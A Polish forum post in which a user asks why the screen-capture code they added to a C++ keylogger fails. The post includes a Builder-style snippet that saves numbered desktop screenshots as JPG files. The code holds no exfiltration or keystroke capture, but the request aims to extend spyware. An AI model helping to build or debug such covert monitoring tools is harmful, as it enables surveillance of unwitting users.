Witam,
Jeżeli do keyloggera chcę dopisać kod na robienie zrzutów ekranu to nie wiem dlaczego,ale on mi nie działa ;/
Keylogger pisany jest w C++.
Oto ten cały kod:
Jeżeli do keyloggera chcę dopisać kod na robienie zrzutów ekranu to nie wiem dlaczego,ale on mi nie działa ;/
Keylogger pisany jest w C++.
Oto ten cały kod:
Kod:
b++;
if(b>5) return;
data =DateToStr(Date());
czas =TimeToStr(Time());
TCanvas &PulpitCanvas = *new TCanvas();
Graphics::TBitmap *bitmap = new Graphics::TBitmap;
PulpitCanvas.Handle = GetDC(0);
bitmap->Width = Screen->Width;
bitmap->Height = Screen->Height;
bitmap->Canvas->CopyRect(Rect(0, 0, bitmap->Width, bitmap->Height), &PulpitCanvas,
Rect(0, 0, bitmap->Width, bitmap->Height));
try
{
dir = "";
dir = dir + b;
dir = dir + ".bmp";
bitmap->SaveToFile(dir);
ReleaseDC(0, PulpitCanvas.Handle);
}
catch(...)
{
}
delete &PulpitCanvas;
delete bitmap;
dir = "";
dir = dir + b;
dir = dir + ".bmp";
Graphics::TBitmap *BMP = new Graphics::TBitmap();
TJPEGImage *JPG = new TJPEGImage();
BMP->LoadFromFile(dir);
JPG->Assign(BMP);
dir = "";
dir = dir + b;
dir = dir + ".jpg";
JPG->SaveToFile(dir);
JPG->Free();
BMP->Free();
dir = "";
dir = dir + b;
dir = dir + ".bmp";
DeleteFile(dir);
Ostatnio edytowane przez moderatora: